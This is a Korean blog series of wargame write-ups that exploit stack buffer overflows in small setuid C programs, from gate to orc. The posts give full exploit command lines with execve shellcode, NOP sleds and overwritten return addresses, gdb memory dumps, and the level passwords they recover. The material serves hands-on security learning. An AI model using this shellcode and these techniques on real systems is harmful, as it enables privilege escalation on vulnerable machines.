 [goblin@localhost .izayoi]$ ./orc `perl -e 'print "\xbf"x48'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)
[goblin@localhost .izayoi]$ gdb -c core -q
Core was generated by `./orc ¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/50x $esp-100
0xbffffa9c:     0x4005d920      0x400143e0      0xbffffabc      0x40066070
0xbffffaac:     0x40106980      0x08048659      0xbffffacc      0x401081ec
0xbffffabc:     0xbffffaf8      0x080485d3      0x08048659      0xbffffad0
0xbffffacc:     0x00000016      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffadc:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffaec:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffafc:     0xbfbfbfbf      0x00000000      0xbffffb44      0xbffffb50
0xbffffb0c:     0x40013868      0x00000002      0x08048450      0x00000000
0xbffffb1c:     0x08048471      0x08048500      0x00000002      0xbffffb44
0xbffffb2c:     0x08048390      0x0804860c      0x4000ae60      0xbffffb3c
0xbffffb3c:     0x40013e90      0x00000002      0xbffffc3d      0xbffffc43
0xbffffb4c:     0x00000000      0xbffffc74      0xbffffc8d      0xbffffca8
0xbffffb5c:     0xbffffcc7      0xbffffce9
(gdb)
0xbffffb64:     0xbffffcf5      0xbffffeb8      0xbffffed7      0xbffffef3
0xbffffb74:     0xbfffff08      0xbfffff26      0xbfffff31      0xbfffff40
0xbffffb84:     0xbfffff48      0xbfffff52      0xbfffff62      0xbfffff70
0xbffffb94:     0xbfffff7e      0xbfffff8f      0xbfffff9a      0xbfffffac
0xbffffba4:     0xbfffffee      0x00000000      0x00000003      0x08048034
0xbffffbb4:     0x00000004      0x00000020      0x00000005      0x00000006
0xbffffbc4:     0x00000006      0x00001000      0x00000007      0x40000000
0xbffffbd4:     0x00000008      0x00000000      0x00000009      0x08048450
0xbffffbe4:     0x0000000b      0x000001f7      0x0000000c      0x000001f7
0xbffffbf4:     0x0000000d      0x000001f7      0x0000000e      0x000001f7
0xbffffc04:     0x00000010      0x0febfbff      0x0000000f      0xbffffc38
0xbffffc14:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc24:     0x00000000      0x00000000
(gdb)
0xbffffc2c:     0x00000000      0x00000000      0x00000000      0x36383669
0xbffffc3c:     0x6f2f2e00      0xbf006372      0xbfbfbfbf      0xbfbfbfbf
0xbffffc4c:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffc5c:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf

0xbffffc6c:     0xbfbfbfbf      0x00bfbfbf      0x00000000      0x00000000
0xbffffc7c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffc8c:     0x00000000      0x00000000      0x00000000      0x00000000

"\xbf"x48의 결과가 두 군데에서 보인다. 이것을 다시 한번 생각해보면 하나는 buffer에 쌓인 "\xbf"값일테고
또 다른 하나는 argv[1]에 쌓인 "\xbf"값일 것 이라고 생각된다.

위치 확인까지는 끝났다. 이제 공격 구문을 생각해보자

[stack] [sfp]                                      [ret]           [argc] [argv] [env]
^"\x90"x20 + shellcode(24byte).    ^buffer address                ^"\x90"x20 + shellcode(24byte).

두가지의 공격 방법이 있을 것 이다.
buffer의 주소값을 넣는 방법과 argv[1]의 주소값을 넣는 방법.

일단 실험 argv[1]

 [goblin@localhost goblin]$ ./orc `perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x44\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€Düÿ¿
Segmentation fault
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x40\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€@üÿ¿
bash$ id
uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)
bash$ my-pass
euid = 504
cantata

???

 [goblin@localhost goblin]$ ./orc `perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x30\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€0üÿ¿
bash$ exit
exit
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x2c\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€,üÿ¿
Segmentation fault

argv[1]의 값이 0xbffffc30 부터 시작함을 확인할 수 있었다. 음... 묘하군.
다시 한번 생각해봐야겠다.
이번에는 buffer값을 노려보자.

 [goblin@localhost .izayoi]$ ./orc `perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\xd0\xfa\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€Ðúÿ¿
Segmentation fault (core dumped)
[goblin@localhost .izayoi]$ gdb -c core -q
Core was generated by `./orc 1ÀPh//shh/bin‰ãPS‰á™°
                                                  Í€Ðúÿ¿'.
Program terminated with signal 11, Segmentation fault.
#0  0xbffffae5 in ?? ()
(gdb) x/50x $esp-100
0xbffffa7c:     0xbffffaac      0x4000a970      0xbffffc60      0xfffffe90
0xbffffa8c:     0x4005d920      0x400143e0      0xbffffaac      0x40066070
0xbffffa9c:     0x40106980      0x08048659      0xbffffabc      0x401081ec
0xbffffaac:     0xbffffae8      0x080485d3      0x08048659      0xbffffac0
0xbffffabc:     0x00000017      0x90909090      0x90909090      0x90909090
0xbffffacc:     0x90909090      0x90909090      0x6850c031      0x68732f2f
0xbffffadc:     0x69622f68      0x00000000      0x6e69622f      0x68732f2f
0xbffffaec:     0x00000000      0x00000000      0xbffffb34      0xbffffb40
...

??? 중간에 40개의 버퍼를 다 채우지 않았음에도 불구하고 중간에 0xbffffae0(buffer[31])부분에 0x00000000값이 들어간 것을 확인할 수 있었다. 그렇다면... 구문을 잠깐 바꿔서 생각해보자
shellcode(24byte) + buffer address(현재는 0xbffffac0) * 6 을 하게되면 먹힐까

[goblin@localhost goblin]$ ./orc `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\xc0\xfa\xff\xbf"x6'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€Àúÿ¿Àúÿ¿Àúÿ¿Àúÿ¿Àúÿ¿Àúÿ¿
bash$ id
uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)
bash$ my-pass
euid = 504
cantata

된다.

과연 뭐가 되긴 됐는데 뭐가 잘못된 것인가. 원인에 대해 생각해봐야겠다.
Posted by john@memory :
LEVEL3 (cobolt -> goblin) : small buffer + stdin

이번 실험은 작은 버퍼에 입출력으로 문자열을 받고 있다. 소스코드를 보자

[cobolt@localhost .izayoi]$ cat goblin.c
int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}

버퍼의 크기는 여전히 16이다. 그리고 gets를 이용해서 문자열을 박고 그것을 출력하는 프로그램이다.
2번 문제의 방법을 이용하고 싶지만 왜 에러나는지 모르기에 다른 방법을 쓰려고 한다.

int main()이라고 해서 인자값을 못받을거 같은데 실제적으로는 인자값은 받아서 메모리 안에 존재하게 된다.
이를 이용해서 문제를 풀 생각이다.

[stack] [sfp]      [ret]          [argc] [argv] [env]
"a"x20           "argv주소값"                "\x90"x100+shellcode

 [cobolt@localhost .izayoi]$ gdb -q goblin
(gdb) b *main+15
Breakpoint 1 at 0x8048407
(gdb) r `perl -e 'print "\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Starting program: /home/cobolt/.izayoi/goblin `perl -e 'print "\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
aaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 1, 0x8048407 in main ()
(gdb) x/70x $esp
0xbffffa74:     0xbffffa78      0x61616161      0x61616161      0x61616161
0xbffffa84:     0x61616161      0x61616161      0x61616161      0x00000000
....
0xbffffbdc:     0x6f79617a      0x6f672f69      0x6e696c62      0x90909000
0xbffffbec:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffbfc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc0c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc1c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc2c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc3c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc4c:     0x50c03190      0x732f2f68      0x622f6868      0xe3896e69
0xbffffc5c:     0xe1895350      0xcd0bb099      0x454c0080      0x504f5353
0xbffffc6c:     0x7c3d4e45      0x7273752f      0x6e69622f      0x73656c2f
0xbffffc7c:     0x70697073      0x68732e65      0x00732520      0x52455355
....


"a"값을 24개 넣고 자리에 들어가는 것을 확인한 뒤에 \x90의 위치를 찾아보았다.
ret이 가르칠 주소만 신경써보면 약 bffffc0c정도즈음에 주소값을 때린다면 쉘코드가 실행될거같은 느낌이 든다.

아마 공격구문은
(perl -e 'print "\x0c\xfc\xff\xbf"x6';cat)|./goblin `perl -e 'print "\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
이런식이겠지.

 [cobolt@localhost cobolt]$ (perl -e 'print "\x0c\xfc\xff\xbf"x6';cat)|./goblin `perl -e 'print "\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
id
üÿ¿
üÿ¿
üÿ¿
üÿ¿
üÿ¿
üÿ¿id
id
uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt)
my-pass
euid = 503
hackers proof

중간에 입출력함수때문인지 글자를 쳐줘야 sh쉘이 떨어지는 것을 확인할 수 있었다.

졸려...
Posted by john@memory :
LEVEL2 (gremlin -> cobolt) : small buffer

이번 문제는 작은 버퍼라는데 과연 어떤 문제일지 확인해보자

[gremlin@localhost .izayoi]$ cat cobolt.c

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}


이번 문제는 buffer의 크기가 16byte밖에 되지 않는다.
[이번에는 gdb로 따로 buffer의 크기를 확인하지는 않겠다.]

여러가지 방법이 있겠지만 그냥 무난하게 진행해보려고 한다.
[stack] [sfp] [ret]                                                                     [argc] [argv] [env]
^"\x90"x20    "아직은 모름. ret address의 다음 주소부분"(4byte)       "\x90"x52 + shellcode(24byte)
이런식으로 수행해보려고 한다.

[gremlin@localhost .izayoi]$ ./cobolt `perl -e 'print "\x90"x20,"\xbf\xbf\xbf\xbf","\x90"x52,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
¿¿¿¿1ÀPh//shh/bin‰ãPS‰á™°
                         Í€
Segmentation fault (core dumped)
[gremlin@localhost .izayoi]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `./cobolt ¿¿¿¿'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/70x $esp
0xbffffac0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffad0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffae0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffaf0:     0x90909090      0x6850c031      0x68732f2f      0x69622f68
0xbffffb00:     0x50e3896e      0x99e18953      0x80cd0bb0      0x00000000
...


ret에 \xbf\xbf\xbf\xbf라는 이상한 곳을 참조시켜 세그먼테이션 폴트를 일으킨 뒤에
파일을 덤프떠서 현재 상태를 저장하고 봤는데 \x90이 계속 실행되다가 0xbffffafc주소에서부터 쉘코드가 삽입된 것을 확인할 수 있다.
그렇기에 그 전의 주소 (ex)0xbffffad0정도를 집어넣게 되면 nop썰매를 타고 가다가 쉘코드를 실행시킬것이다.

 [gremlin@localhost gremlin]$ ./cobolt `perl -e 'print "\x90"x20,"\xd0\xfa\xff\xbf","\x90"x52,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Ðúÿ¿1ÀPh//shh/bin‰ãPS‰á™°
                         Í€
bash$ id
uid=501(gremlin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt) groups=501(gremlin)
bash$ my-pass
euid = 502
hacking exposed

shell이 떨어진 것을 확인할수 있다.

하지만 이 방법은 조금 불완전한게 0xbffffae0의 주소값을 집어넣게 되면 세그멘테이션 오류가 뜨게 된다.
복사한 파일이라 그런건가... 아직 이유를 잘 모르겠다.


이전 문제와 같이 환경변수를 이용한 공격을 시도하게 된다면 잘 될 것이다.
하지만 똑같은 실험을 하기 싫어 이런 방식으로 했으니 level1과 동일하게 하실분은 연습삼아 해도 같은 결과를 보일 것이다.
Posted by john@memory :
LEVEL1 (gate -> gremlin) :  simple bof

코드를 한번 보자

[gate@localhost .izayoi]$ cat gremlin.c

int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}


buffer는 256이고 strcpy를 이용한 간단한 bof문제임을 확인 할 수 있다.
stack의 크기를 살펴보자

 [gate@localhost .izayoi]$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs
gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)
[gate@localhost .izayoi]$ gdb -q gremlin
(gdb) set dis intel
(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %ebp,%esp
0x8048433 <main+3>:     sub    %esp,0x100
0x8048439 <main+9>:     cmp    DWORD PTR [%ebp+8],1
0x804843d <main+13>:    jg     0x8048456 <main+38>
0x804843f <main+15>:    push   0x80484e0
0x8048444 <main+20>:    call   0x8048350 <printf>
0x8048449 <main+25>:    add    %esp,4
0x804844c <main+28>:    push   0
0x804844e <main+30>:    call   0x8048360 <exit>
0x8048453 <main+35>:    add    %esp,4
0x8048456 <main+38>:    mov    %eax,DWORD PTR [%ebp+12]
0x8048459 <main+41>:    add    %eax,4
0x804845c <main+44>:    mov    %edx,DWORD PTR [%eax]
0x804845e <main+46>:    push   %edx
0x804845f <main+47>:    lea    %eax,[%ebp-256]
0x8048465 <main+53>:    push   %eax
0x8048466 <main+54>:    call   0x8048370 <strcpy>
0x804846b <main+59>:    add    %esp,8
0x804846e <main+62>:    lea    %eax,[%ebp-256]
0x8048474 <main+68>:    push   %eax
0x8048475 <main+69>:    push   0x80484ec
0x804847a <main+74>:    call   0x8048350 <printf>
0x804847f <main+79>:    add    %esp,8
0x8048482 <main+82>:    leave
0x8048483 <main+83>:    ret
0x8048484 <main+84>:    nop

gcc버젼은 2.91로 dummy값이 생성되지 않다고 생각하면 된다. 스택도 0x100(=256)만큼 확장된것을 확인할 수 있고 중간에서도 47번 라인에서 ebp-256부분을 복사하는 것을 확인할 수 있다. (들어가는 buf의 주소값이 strcpy의 인자값으로 들어가게 된다. 이때는 ebp-256의 주소값이 들어가므로 buffer의 크기는 256인 것을 생각해 볼 수 있다.)

그렇다면 여기서는 환경변수를 이용한 공격을 시도해보겠다.

사용할 쉘코드 : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80 (24byte)

 [gate@localhost .izayoi]$ export izayoi=`perl -e 'print "\x90"x200,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
[gate@localhost .izayoi]$ cat getenv.c
#include <stdio.h>

int main (int argc, char ** argv){
        printf("%p\n",getenv(argv[1]));
        return 0;
}
[gate@localhost .izayoi]$ make getenv
cc     getenv.c   -o getenv
[gate@localhost .izayoi]$ ./getenv izayoi
0xbfffff07


중간에 getenv라는 인자값으로 넘어오는 해당 환경변수의 주소값을 출력해주는 프로그램을 만들었다.
쉘코드가 들어간 주소값은 \x07\xff\xff\xbf가 됨을 알 수 있고 이제 공격에 들어가면 되겠다.

 
    [stack]      [sfp]             [ret]                [argc][argv]       [env]
^buf=a*(256+4)         \x07\xff\xff\xbf                            izayoi=shellcode

 [gate@localhost gate]$ ./gremlin `perl -e 'print "a"x260,"\x07\xff\xff\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaÿÿ¿
bash$ id
uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate)
bash$ my-pass
euid = 501
hello bof world
Posted by john@memory :